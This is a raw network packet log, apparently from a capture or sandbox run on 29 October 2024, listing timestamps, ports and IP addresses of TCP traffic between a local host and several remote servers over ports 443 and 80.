Oct 29, 2024 20:35:25.297924995 CET	443	49962	20.125.209.212	192.168.2.5
Oct 29, 2024 20:35:25.298142910 CET	49962	443	192.168.2.5	20.125.209.212
Oct 29, 2024 20:35:25.298155069 CET	443	49962	20.125.209.212	192.168.2.5
Oct 29, 2024 20:35:25.298858881 CET	443	49959	23.47.50.133	192.168.2.5
Oct 29, 2024 20:35:25.298881054 CET	443	49959	23.47.50.133	192.168.2.5
Oct 29, 2024 20:35:25.298898935 CET	443	49959	23.47.50.133	192.168.2.5
Oct 29, 2024 20:35:25.298923969 CET	49959	443	192.168.2.5	23.47.50.133
Oct 29, 2024 20:35:25.298929930 CET	443	49959	23.47.50.133	192.168.2.5
Oct 29, 2024 20:35:25.298943996 CET	443	49959	23.47.50.133	192.168.2.5
Oct 29, 2024 20:35:25.298959017 CET	49959	443	192.168.2.5	23.47.50.133
Oct 29, 2024 20:35:25.298963070 CET	443	49959	23.47.50.133	192.168.2.5
Oct 29, 2024 20:35:25.298995972 CET	49959	443	192.168.2.5	23.47.50.133
Oct 29, 2024 20:35:25.299001932 CET	443	49959	23.47.50.133	192.168.2.5
Oct 29, 2024 20:35:25.299026012 CET	49959	443	192.168.2.5	23.47.50.133
Oct 29, 2024 20:35:25.299856901 CET	443	49959	23.47.50.133	192.168.2.5
Oct 29, 2024 20:35:25.299912930 CET	443	49959	23.47.50.133	192.168.2.5
Oct 29, 2024 20:35:25.299936056 CET	49959	443	192.168.2.5	23.47.50.133
Oct 29, 2024 20:35:25.299942970 CET	443	49959	23.47.50.133	192.168.2.5
Oct 29, 2024 20:35:25.299978018 CET	49959	443	192.168.2.5	23.47.50.133
Oct 29, 2024 20:35:25.301153898 CET	443	49959	23.47.50.133	192.168.2.5
Oct 29, 2024 20:35:25.301196098 CET	443	49959	23.47.50.133	192.168.2.5
Oct 29, 2024 20:35:25.301228046 CET	49959	443	192.168.2.5	23.47.50.133
Oct 29, 2024 20:35:25.301235914 CET	443	49959	23.47.50.133	192.168.2.5
Oct 29, 2024 20:35:25.301284075 CET	49959	443	192.168.2.5	23.47.50.133
Oct 29, 2024 20:35:25.309817076 CET	443	49956	20.190.159.2	192.168.2.5
Oct 29, 2024 20:35:25.319747925 CET	49956	443	192.168.2.5	20.190.159.2
Oct 29, 2024 20:35:25.319756985 CET	443	49956	20.190.159.2	192.168.2.5
Oct 29, 2024 20:35:25.320736885 CET	49956	443	192.168.2.5	20.190.159.2
Oct 29, 2024 20:35:25.320740938 CET	443	49956	20.190.159.2	192.168.2.5
Oct 29, 2024 20:35:25.320794106 CET	49956	443	192.168.2.5	20.190.159.2
Oct 29, 2024 20:35:25.320801020 CET	443	49956	20.190.159.2	192.168.2.5
Oct 29, 2024 20:35:25.336604118 CET	443	49957	23.47.50.133	192.168.2.5
Oct 29, 2024 20:35:25.336673975 CET	443	49957	23.47.50.133	192.168.2.5
Oct 29, 2024 20:35:25.336700916 CET	443	49957	23.47.50.133	192.168.2.5
Oct 29, 2024 20:35:25.336745977 CET	443	49957	23.47.50.133	192.168.2.5
Oct 29, 2024 20:35:25.336751938 CET	49957	443	192.168.2.5	23.47.50.133
Oct 29, 2024 20:35:25.336779118 CET	443	49957	23.47.50.133	192.168.2.5
Oct 29, 2024 20:35:25.336797953 CET	49957	443	192.168.2.5	23.47.50.133
Oct 29, 2024 20:35:25.336798906 CET	443	49957	23.47.50.133	192.168.2.5
Oct 29, 2024 20:35:25.336827993 CET	49957	443	192.168.2.5	23.47.50.133
Oct 29, 2024 20:35:25.336843014 CET	49957	443	192.168.2.5	23.47.50.133
Oct 29, 2024 20:35:25.358323097 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:25.358335018 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:25.358345985 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:25.358454943 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:25.358454943 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:25.359523058 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:25.359534979 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:25.359545946 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:25.359586954 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:25.359597921 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:25.359607935 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:25.359621048 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:25.359622955 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:25.359632969 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:25.359642029 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:25.359762907 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:25.359762907 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:25.359989882 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:25.360002041 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:25.360018969 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:25.360030890 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:25.360042095 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:25.360054970 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:25.360080957 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:25.360080957 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:25.360080957 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:25.360150099 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:25.360263109 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:25.360333920 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:25.360343933 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:25.360385895 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:25.360443115 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:25.360454082 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:25.360469103 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:25.360481024 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:25.360491991 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:25.360507965 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:25.360518932 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:25.360528946 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:25.360528946 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:25.360528946 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:25.360531092 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:25.360544920 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:25.360572100 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:25.360604048 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:25.360727072 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:25.360738039 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:25.360748053 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:25.360769987 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:25.360851049 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:25.360874891 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:25.360887051 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:25.360898018 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:25.360909939 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:25.360992908 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:25.360992908 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:25.361320972 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:25.361331940 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:25.361377954 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:25.361382008 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:25.361388922 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:25.361437082 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:25.361449957 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:25.361460924 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:25.361471891 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:25.361483097 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:25.361494064 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:25.361532927 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:25.361532927 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:25.361629963 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:25.361638069 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:25.361649990 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:25.361660004 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:25.361671925 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:25.361682892 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:25.361695051 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:25.361705065 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:25.361715078 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:25.361715078 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:25.361723900 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:25.361740112 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:25.361749887 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:25.361749887 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:25.361752987 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:25.361768007 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:25.361778975 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:25.361787081 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:25.361795902 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:25.361805916 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:25.361815929 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:25.361828089 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:25.361834049 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:25.361834049 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:25.361840963 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:25.361851931 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:25.361864090 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:25.361876011 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:25.361891985 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:25.361898899 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:25.361898899 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:25.361898899 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:25.361902952 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:25.361913919 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:25.361923933 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:25.361934900 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:25.361947060 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:25.361958981 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:25.361968994 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:25.361968994 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:25.361968994 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:25.361972094 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:25.361984015 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:25.362031937 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:25.362031937 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:25.376810074 CET	443	49958	23.47.50.133	192.168.2.5
Oct 29, 2024 20:35:25.376832962 CET	443	49958	23.47.50.133	192.168.2.5
Oct 29, 2024 20:35:25.376933098 CET	49958	443	192.168.2.5	23.47.50.133
Oct 29, 2024 20:35:25.376936913 CET	443	49958	23.47.50.133	192.168.2.5
Oct 29, 2024 20:35:25.376962900 CET	443	49958	23.47.50.133	192.168.2.5
Oct 29, 2024 20:35:25.376988888 CET	49958	443	192.168.2.5	23.47.50.133
Oct 29, 2024 20:35:25.377019882 CET	49958	443	192.168.2.5	23.47.50.133
Oct 29, 2024 20:35:25.377701044 CET	443	49958	23.47.50.133	192.168.2.5
Oct 29, 2024 20:35:25.377724886 CET	443	49958	23.47.50.133	192.168.2.5
Oct 29, 2024 20:35:25.377769947 CET	49958	443	192.168.2.5	23.47.50.133
Oct 29, 2024 20:35:25.377783060 CET	443	49958	23.47.50.133	192.168.2.5
Oct 29, 2024 20:35:25.377799034 CET	49958	443	192.168.2.5	23.47.50.133
Oct 29, 2024 20:35:25.377803087 CET	443	49958	23.47.50.133	192.168.2.5
Oct 29, 2024 20:35:25.377898932 CET	49958	443	192.168.2.5	23.47.50.133
Oct 29, 2024 20:35:25.384881973 CET	49958	443	192.168.2.5	23.47.50.133
Oct 29, 2024 20:35:25.384908915 CET	443	49958	23.47.50.133	192.168.2.5
Oct 29, 2024 20:35:25.414006948 CET	49962	443	192.168.2.5	20.125.209.212
Oct 29, 2024 20:35:25.414117098 CET	49959	443	192.168.2.5	23.47.50.133
Oct 29, 2024 20:35:25.414273024 CET	443	49959	23.47.50.133	192.168.2.5
Oct 29, 2024 20:35:25.414305925 CET	443	49959	23.47.50.133	192.168.2.5
Oct 29, 2024 20:35:25.414324045 CET	443	49959	23.47.50.133	192.168.2.5
Oct 29, 2024 20:35:25.414350986 CET	49959	443	192.168.2.5	23.47.50.133
Oct 29, 2024 20:35:25.414371967 CET	443	49959	23.47.50.133	192.168.2.5
Oct 29, 2024 20:35:25.414391041 CET	49959	443	192.168.2.5	23.47.50.133
Oct 29, 2024 20:35:25.414391994 CET	443	49959	23.47.50.133	192.168.2.5
Oct 29, 2024 20:35:25.414418936 CET	443	49959	23.47.50.133	192.168.2.5
Oct 29, 2024 20:35:25.414423943 CET	49959	443	192.168.2.5	23.47.50.133
Oct 29, 2024 20:35:25.414458036 CET	49959	443	192.168.2.5	23.47.50.133
Oct 29, 2024 20:35:25.414465904 CET	49959	443	192.168.2.5	23.47.50.133
Oct 29, 2024 20:35:25.414648056 CET	443	49959	23.47.50.133	192.168.2.5
Oct 29, 2024 20:35:25.414669037 CET	443	49959	23.47.50.133	192.168.2.5
Oct 29, 2024 20:35:25.414701939 CET	49959	443	192.168.2.5	23.47.50.133
Oct 29, 2024 20:35:25.414731026 CET	49959	443	192.168.2.5	23.47.50.133
Oct 29, 2024 20:35:25.415345907 CET	443	49959	23.47.50.133	192.168.2.5
Oct 29, 2024 20:35:25.415393114 CET	443	49959	23.47.50.133	192.168.2.5
Oct 29, 2024 20:35:25.415431976 CET	49959	443	192.168.2.5	23.47.50.133
Oct 29, 2024 20:35:25.415443897 CET	443	49959	23.47.50.133	192.168.2.5
Oct 29, 2024 20:35:25.415461063 CET	49959	443	192.168.2.5	23.47.50.133
Oct 29, 2024 20:35:25.416117907 CET	443	49959	23.47.50.133	192.168.2.5
Oct 29, 2024 20:35:25.416162014 CET	443	49959	23.47.50.133	192.168.2.5
Oct 29, 2024 20:35:25.416204929 CET	49959	443	192.168.2.5	23.47.50.133
Oct 29, 2024 20:35:25.416213989 CET	443	49959	23.47.50.133	192.168.2.5
Oct 29, 2024 20:35:25.416224957 CET	49959	443	192.168.2.5	23.47.50.133
Oct 29, 2024 20:35:25.417398930 CET	443	49959	23.47.50.133	192.168.2.5
Oct 29, 2024 20:35:25.417440891 CET	443	49959	23.47.50.133	192.168.2.5
Oct 29, 2024 20:35:25.417464018 CET	49959	443	192.168.2.5	23.47.50.133
Oct 29, 2024 20:35:25.417484999 CET	443	49959	23.47.50.133	192.168.2.5
Oct 29, 2024 20:35:25.417519093 CET	49959	443	192.168.2.5	23.47.50.133
Oct 29, 2024 20:35:25.417574883 CET	443	49959	23.47.50.133	192.168.2.5
Oct 29, 2024 20:35:25.417628050 CET	49959	443	192.168.2.5	23.47.50.133
Oct 29, 2024 20:35:25.417634964 CET	443	49959	23.47.50.133	192.168.2.5
Oct 29, 2024 20:35:25.418354988 CET	443	49959	23.47.50.133	192.168.2.5
Oct 29, 2024 20:35:25.418407917 CET	443	49959	23.47.50.133	192.168.2.5
Oct 29, 2024 20:35:25.418421984 CET	49959	443	192.168.2.5	23.47.50.133
Oct 29, 2024 20:35:25.418438911 CET	443	49959	23.47.50.133	192.168.2.5
Oct 29, 2024 20:35:25.418471098 CET	49959	443	192.168.2.5	23.47.50.133
Oct 29, 2024 20:35:25.419332027 CET	443	49959	23.47.50.133	192.168.2.5
Oct 29, 2024 20:35:25.419373989 CET	443	49959	23.47.50.133	192.168.2.5
Oct 29, 2024 20:35:25.419406891 CET	49959	443	192.168.2.5	23.47.50.133
Oct 29, 2024 20:35:25.419413090 CET	443	49959	23.47.50.133	192.168.2.5
Oct 29, 2024 20:35:25.419444084 CET	49959	443	192.168.2.5	23.47.50.133
Oct 29, 2024 20:35:25.426789045 CET	49959	443	192.168.2.5	23.47.50.133
Oct 29, 2024 20:35:25.450170994 CET	443	49962	20.125.209.212	192.168.2.5
Oct 29, 2024 20:35:25.461231947 CET	443	49959	23.47.50.133	192.168.2.5
Oct 29, 2024 20:35:25.461318016 CET	49959	443	192.168.2.5	23.47.50.133
Oct 29, 2024 20:35:25.472732067 CET	443	49962	20.125.209.212	192.168.2.5
Oct 29, 2024 20:35:25.472907066 CET	49962	443	192.168.2.5	20.125.209.212
Oct 29, 2024 20:35:25.475222111 CET	49962	443	192.168.2.5	20.125.209.212
Oct 29, 2024 20:35:25.475249052 CET	443	49962	20.125.209.212	192.168.2.5
Oct 29, 2024 20:35:25.531687021 CET	443	49959	23.47.50.133	192.168.2.5
Oct 29, 2024 20:35:25.531742096 CET	443	49959	23.47.50.133	192.168.2.5
Oct 29, 2024 20:35:25.531791925 CET	49959	443	192.168.2.5	23.47.50.133
Oct 29, 2024 20:35:25.531810045 CET	443	49959	23.47.50.133	192.168.2.5
Oct 29, 2024 20:35:25.531848907 CET	49959	443	192.168.2.5	23.47.50.133
Oct 29, 2024 20:35:25.532506943 CET	443	49959	23.47.50.133	192.168.2.5
Oct 29, 2024 20:35:25.532557964 CET	443	49959	23.47.50.133	192.168.2.5
Oct 29, 2024 20:35:25.532572031 CET	49959	443	192.168.2.5	23.47.50.133
Oct 29, 2024 20:35:25.532587051 CET	443	49959	23.47.50.133	192.168.2.5
Oct 29, 2024 20:35:25.532634020 CET	49959	443	192.168.2.5	23.47.50.133
Oct 29, 2024 20:35:25.532736063 CET	443	49959	23.47.50.133	192.168.2.5
Oct 29, 2024 20:35:25.532792091 CET	49959	443	192.168.2.5	23.47.50.133
Oct 29, 2024 20:35:25.532803059 CET	443	49959	23.47.50.133	192.168.2.5
Oct 29, 2024 20:35:25.533092976 CET	443	49959	23.47.50.133	192.168.2.5
Oct 29, 2024 20:35:25.533144951 CET	443	49959	23.47.50.133	192.168.2.5
Oct 29, 2024 20:35:25.533178091 CET	49959	443	192.168.2.5	23.47.50.133
Oct 29, 2024 20:35:25.533185959 CET	443	49959	23.47.50.133	192.168.2.5
Oct 29, 2024 20:35:25.533196926 CET	49959	443	192.168.2.5	23.47.50.133
Oct 29, 2024 20:35:25.533253908 CET	49959	443	192.168.2.5	23.47.50.133
Oct 29, 2024 20:35:25.534833908 CET	443	49959	23.47.50.133	192.168.2.5
Oct 29, 2024 20:35:25.534993887 CET	443	49959	23.47.50.133	192.168.2.5
Oct 29, 2024 20:35:25.535747051 CET	49959	443	192.168.2.5	23.47.50.133
Oct 29, 2024 20:35:25.535820961 CET	49959	443	192.168.2.5	23.47.50.133
Oct 29, 2024 20:35:25.535835981 CET	443	49959	23.47.50.133	192.168.2.5
Oct 29, 2024 20:35:25.581263065 CET	443	49957	23.47.50.133	192.168.2.5
Oct 29, 2024 20:35:25.581285954 CET	443	49957	23.47.50.133	192.168.2.5
Oct 29, 2024 20:35:25.581312895 CET	443	49957	23.47.50.133	192.168.2.5
Oct 29, 2024 20:35:25.581358910 CET	49957	443	192.168.2.5	23.47.50.133
Oct 29, 2024 20:35:25.581372023 CET	443	49957	23.47.50.133	192.168.2.5
Oct 29, 2024 20:35:25.581450939 CET	49957	443	192.168.2.5	23.47.50.133
Oct 29, 2024 20:35:25.581450939 CET	49957	443	192.168.2.5	23.47.50.133
Oct 29, 2024 20:35:25.698502064 CET	443	49956	20.190.159.2	192.168.2.5
Oct 29, 2024 20:35:25.698586941 CET	443	49956	20.190.159.2	192.168.2.5
Oct 29, 2024 20:35:25.698662996 CET	49956	443	192.168.2.5	20.190.159.2
Oct 29, 2024 20:35:25.698666096 CET	443	49956	20.190.159.2	192.168.2.5
Oct 29, 2024 20:35:25.698708057 CET	443	49956	20.190.159.2	192.168.2.5
Oct 29, 2024 20:35:25.698720932 CET	49956	443	192.168.2.5	20.190.159.2
Oct 29, 2024 20:35:25.704546928 CET	443	49957	23.47.50.133	192.168.2.5
Oct 29, 2024 20:35:25.704575062 CET	443	49957	23.47.50.133	192.168.2.5
Oct 29, 2024 20:35:25.704611063 CET	49957	443	192.168.2.5	23.47.50.133
Oct 29, 2024 20:35:25.704628944 CET	443	49957	23.47.50.133	192.168.2.5
Oct 29, 2024 20:35:25.704648972 CET	49957	443	192.168.2.5	23.47.50.133
Oct 29, 2024 20:35:25.713705063 CET	49956	443	192.168.2.5	20.190.159.2
Oct 29, 2024 20:35:25.713721991 CET	443	49956	20.190.159.2	192.168.2.5
Oct 29, 2024 20:35:25.713733912 CET	49956	443	192.168.2.5	20.190.159.2
Oct 29, 2024 20:35:25.714088917 CET	443	49956	20.190.159.2	192.168.2.5
Oct 29, 2024 20:35:25.714170933 CET	443	49956	20.190.159.2	192.168.2.5
Oct 29, 2024 20:35:25.714296103 CET	49956	443	192.168.2.5	20.190.159.2
Oct 29, 2024 20:35:25.753655910 CET	443	49964	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:25.763784885 CET	49964	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:25.763808966 CET	443	49964	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:25.764652014 CET	49964	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:25.764657021 CET	443	49964	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:25.766556978 CET	443	49966	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:25.767431974 CET	49966	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:25.767452002 CET	443	49966	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:25.767906904 CET	49966	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:25.767916918 CET	443	49966	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:25.783858061 CET	443	49965	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:25.784300089 CET	49965	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:25.784321070 CET	443	49965	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:25.784809113 CET	49965	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:25.784815073 CET	443	49965	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:25.830152035 CET	443	49957	23.47.50.133	192.168.2.5
Oct 29, 2024 20:35:25.830188990 CET	443	49957	23.47.50.133	192.168.2.5
Oct 29, 2024 20:35:25.830226898 CET	49957	443	192.168.2.5	23.47.50.133
Oct 29, 2024 20:35:25.830250025 CET	443	49957	23.47.50.133	192.168.2.5
Oct 29, 2024 20:35:25.830267906 CET	49957	443	192.168.2.5	23.47.50.133
Oct 29, 2024 20:35:25.858726978 CET	443	49970	108.156.211.59	192.168.2.5
Oct 29, 2024 20:35:25.859036922 CET	49970	443	192.168.2.5	108.156.211.59
Oct 29, 2024 20:35:25.859067917 CET	443	49970	108.156.211.59	192.168.2.5
Oct 29, 2024 20:35:25.859436035 CET	443	49970	108.156.211.59	192.168.2.5
Oct 29, 2024 20:35:25.859918118 CET	49970	443	192.168.2.5	108.156.211.59
Oct 29, 2024 20:35:25.859987974 CET	443	49970	108.156.211.59	192.168.2.5
Oct 29, 2024 20:35:25.860114098 CET	49970	443	192.168.2.5	108.156.211.59
Oct 29, 2024 20:35:25.904529095 CET	443	49964	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:25.904573917 CET	443	49964	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:25.904639006 CET	443	49964	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:25.904700994 CET	49964	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:25.904733896 CET	49964	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:25.905597925 CET	49957	443	192.168.2.5	23.47.50.133
Oct 29, 2024 20:35:25.907099009 CET	443	49966	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:25.907172918 CET	443	49966	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:25.907274961 CET	49966	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:25.907325029 CET	443	49970	108.156.211.59	192.168.2.5
Oct 29, 2024 20:35:25.916798115 CET	49964	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:25.916837931 CET	443	49964	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:25.916855097 CET	49964	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:25.916863918 CET	443	49964	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:25.919230938 CET	49966	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:25.919241905 CET	443	49966	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:25.919270039 CET	49966	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:25.919275045 CET	443	49966	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:25.921731949 CET	443	49965	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:25.922063112 CET	443	49965	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:25.922146082 CET	49965	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:25.949771881 CET	443	49968	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:25.950978041 CET	443	49957	23.47.50.133	192.168.2.5
Oct 29, 2024 20:35:25.950992107 CET	443	49957	23.47.50.133	192.168.2.5
Oct 29, 2024 20:35:25.951041937 CET	443	49957	23.47.50.133	192.168.2.5
Oct 29, 2024 20:35:25.951061964 CET	49957	443	192.168.2.5	23.47.50.133
Oct 29, 2024 20:35:25.951106071 CET	49957	443	192.168.2.5	23.47.50.133
Oct 29, 2024 20:35:25.965920925 CET	443	49969	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:25.983055115 CET	49972	443	192.168.2.5	20.190.159.2
Oct 29, 2024 20:35:25.983104944 CET	443	49972	20.190.159.2	192.168.2.5
Oct 29, 2024 20:35:25.983181000 CET	49972	443	192.168.2.5	20.190.159.2
Oct 29, 2024 20:35:25.985527992 CET	49965	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:25.985546112 CET	443	49965	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:25.985585928 CET	49965	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:25.985591888 CET	443	49965	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:25.987525940 CET	49968	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:25.987550020 CET	443	49968	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:25.988069057 CET	49968	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:25.988075972 CET	443	49968	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:25.994787931 CET	49969	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:25.994813919 CET	443	49969	13.107.246.45	192.168.2.5
